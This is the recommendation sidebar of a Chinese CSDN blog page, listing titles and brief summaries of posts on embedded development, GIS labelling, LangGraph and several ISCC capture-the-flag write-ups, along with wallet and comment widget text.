VSCode玩转STM32:手把手教你配置EIDE插件与OpenOCD调试(附野火DAP配置文件详解)

本文详细介绍了如何在VSCode中配置EIDE插件与OpenOCD进行STM32开发,特别针对野火DAP调试器提供了配置文件详解。从基础环境搭建到深度调试技巧,帮助开发者高效完成STM32项目开发,实现现代化嵌入式开发工作流。

weixin_26905487的博客 553

AD20 Channel-Offset Error 解决办法

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言AD20 PCB相同电路模块ROOM格式复用时出现 Channel-Offset Error 解决办法一、问题现象二、解决办法 前言 AD20 PCB相同电路模块ROOM格式复用时出现 Channel-Offset Error 解决办法 一、问题现象 我们经常在使用Room格式快速布局相同模块电路时出现以下问题, 二、解决办法 相同模块电路PCB布局复制的过程网上有很多,这里不再做赘述,步骤都差不多,只说问题根源; 1:.

m0_47201213的博客 7622

ISCC 2024 部分wp

ISCC 2024 部分wp

焦虑的焦虑 1万+

利用ArcMap实现遥感图像语义分割标注的完整流程解析

本文详细解析了利用ArcMap进行遥感图像语义分割标注的完整工作流。从工程创建、数据导入、SHP文件创建,到实战勾画地物、要素转栅格,再到最终的裁剪对齐,提供了每一步的关键操作与避坑指南。该方法特别适合处理大尺寸、带地理坐标的遥感影像,能高效产出精准对齐的图像-标签对,为后续深度学习模型训练奠定可靠的数据基础。

gpu4optimizer的博客 1212

ISCC2025校级赛Web

robots.txt有f10g.txtF12一下这里给了棋谱跑个脚本给显示出来替换0为2即可f12g.txt得到一个flag值,把里面的0替换成2就是真flag。

qq_42863465的博客 2954

LangGraph 实战教程:搭建一个智能办公多Agent协作平台

只存储必要的信息:不要把所有的原始数据都存储在状态中,比如销售数据可以存储在数据库或向量数据库中,状态中只存储数据的 ID 或摘要。使用类型提示:避免类型错误,提高代码的可维护性。支持增量更新:LangGraph 默认支持状态的增量更新(通过reduce函数),比如messages列表可以通过追加新消息的方式更新,而不是每次都重新创建整个列表。Normal Edge 的定义非常简单,只需要在StateGraph对象(稍后会详细讲解)上调用add_edge# 创建一个 StateGraph 对象。

SuperAGI2025 221

SA8295P QNX主机上电启动流程分析

嵌入式系统的启动过程对于确保系统正常运行至关重要。本文将详细分析SA8295P芯片在QNX主机上的上电启动流程,并提供相应的源代码示例。嵌入式系统的启动过程对于确保系统正常运行至关重要。本文将详细分析SA8295P芯片在QNX主机上的上电启动流程,并提供相应的源代码示例。以下是一个SA8295P QNX主机上电启动流程分析。

CodeMaven的博客 1230

2022ISCC-web-wp

2022ISCC-web-wp

Christ1na的博客 3283

ARM6818嵌入式视频播放器:硬解加速与Framebuffer渲染实战

嵌入式Linux音视频系统是智能座舱、工业HMI等场景的核心能力,其本质是软硬协同的实时多媒体处理系统。原理上需打通内核驱动(如VPU硬件编解码、FIMD多图层合成)、用户空间框架(GStreamer pipeline定制、SDL2硬件渲染)与应用层同步机制(PTS/HTS双时钟校准)。技术价值在于显著降低CPU负载(硬解可压至15%以下)、提升启动速度(<1.2s首帧)并保障音画同步精度(±3ms级)。典型应用场景包括车载信息娱乐、边缘AI终端及无X11的工控显示设备。本文基于ARM6818平台,深入VP

weixin_32456485的博客 77

ISCC 2025决赛 wp

摘要:本文分析了两个安全挑战的解决方案——PWN二进制程序利用和MOBILE安卓应用逆向。在PWN部分,通过分析64位程序的漏洞点(格式化字符串和栈溢出),结合ORW技术绕过限制,利用mprotect函数执行shellcode获取flag。在MOBILE部分,通过逆向分析安卓应用的验证逻辑,发现核心验证流程涉及RC4加密、二进制转换和最终校验,成功破解了flag验证机制。两题分别展示了二进制漏洞利用和移动应用逆向的典型解题思路。<|end▁of▁sentence|>

saulgoodman的博客 2432

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

ISCC-2025-第22届信息安全与对抗技术竞赛通知

2025年第22届信息安全与对抗技术竞赛(ISCC)线上赛(破阵夺旗赛、无限擂台赛、数据安全赛)将于2025年4月30日8:00至2025年5月07日20:00开放报名,5月1日上午8:00正式开始。

abcadadc的博客 5014

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

ISCC2024之Misc方向WP

使⽤该脚本跑出来以 abcdadadef 开头的⼀串字符,这刚好对应 ISCC{ 的⼗六进制“495343437b”,最后两个字符⼀定对应的是 } 的⼗六进制“7d”,其他的字符就需要反复的推敲。{}内部全都是⼩写字⺟和_ ,所以最终还是很容易推出⼀张映射表的。得到的并不是flag,用pr3550nwardsa2fee6e0去解密7z文件,成功得到一个新的rar文件,但是也是加密的,猜测密钥为大写的刚才的“flag”:PR3550NWARDSA2FEE6E0,得到一堆空文件,仔细观察发现时间有问题。

ASD830的博客 2104

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

2024第八届御网杯信息安全网络大赛线上WP详解(misc+cryoto)(详解-思路-脚本)

2024第八届御网杯信息安全网络大赛线上WP详解(misc+cryoto)(详解-思路-脚本) 芜湖~ 首届御网杯线上和ISCC分开进行 但还是用的ISCC的页面差评 嘻嘻 又是玄乎的一天 以下是我自己的一些思路和解析 有什么问题或者建议随时都可以联系我

路baby的博客 1万+

2023-ISCC信息安全与对抗竞赛wp-misc(详解,有脚本( •̀ ω •́ ),脚本解析,有附件)

2023-ISCC信息安全与对抗竞赛wp-misc(详解,有脚本( •̀ ω •́ ),脚本解析,有附件) 以下是本人的一些解题思路和过程,供各位道友参考 对了不要喷呀如有错误或者心得请联系我 小友看见定即时改正回复 对了小友 我自身实力 交了两个非预期 也是有运气在身(这里本姓名就不再透露了,当然知道的人肯定知道 嘻嘻)

路baby的博客 9484

ISCC-WP

2022-ISCC

qq_53142368的博客 1万+

2025ISCC练武校级赛部分题解WP

2025ISCC练武校级赛部分题解WP

qq_39673370的博客 1995

ISCC-WP(二) 擂台

冲冲冲

qq_53142368的博客 1615

ISCC Analysis 150 CTF-Reverse

ISCC Analysis 150 CTF-Reverse

m0_72904009的博客 610

2023线上ISCC 部分WP

通过网址打开游戏界面,发现鼠标右键失灵,无法直接打开页面源代码。随意打开一个已知页面的源代码,发现有view-source:字样,在游戏界面的网址前加上view-sourc:打开页面源代码。发现一串字符使用base64加密解密后是个假的flag有两个可打开文件,flag肯定在这两个中打开index.css文件未发现任何东西故接着打开另一个vue.global.js文件,文件内容很多,快捷键Ctrl+F全局搜索,发现base64字符串经过两次base64解密得到正确的flag。

DDD_Simple的博客 1万+

ISCC2024个人挑战赛WP-Mobile

(非官方解,以下内容均互联网收集的信息和个人思路,仅供学习参考)

qq_59468567的博客 1395

iscc2025线下WP

文章摘要: 本文包含两个网络安全挑战的技术分析。第一部分详细描述了一个存在Canary保护的栈溢出漏洞利用过程,通过修改Canary尾部字节实现泄露,并最终完成ret2libc攻击。第二部分分析了ISCC 2025的Misc题目"合二为一",涉及RSA共模攻击和文档结构分析,通过Wiener攻击和共模攻击脚本成功解密获得flag。文章还补充了相关密码学知识,包括RSA算法原理、docx文件结构以及随机数生成机制。整个分析过程展示了从漏洞发现到利用的完整思路,并提供了可复现的EXP脚本。

2401_89128013的博客 1157
上一篇: 2025 ISCC 练武赛Pwn-wp(含附件)
下一篇: IDA插件 MIPSROP的安装和使用方法
XiDP
博客等级 码龄3年 209粉丝 10原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值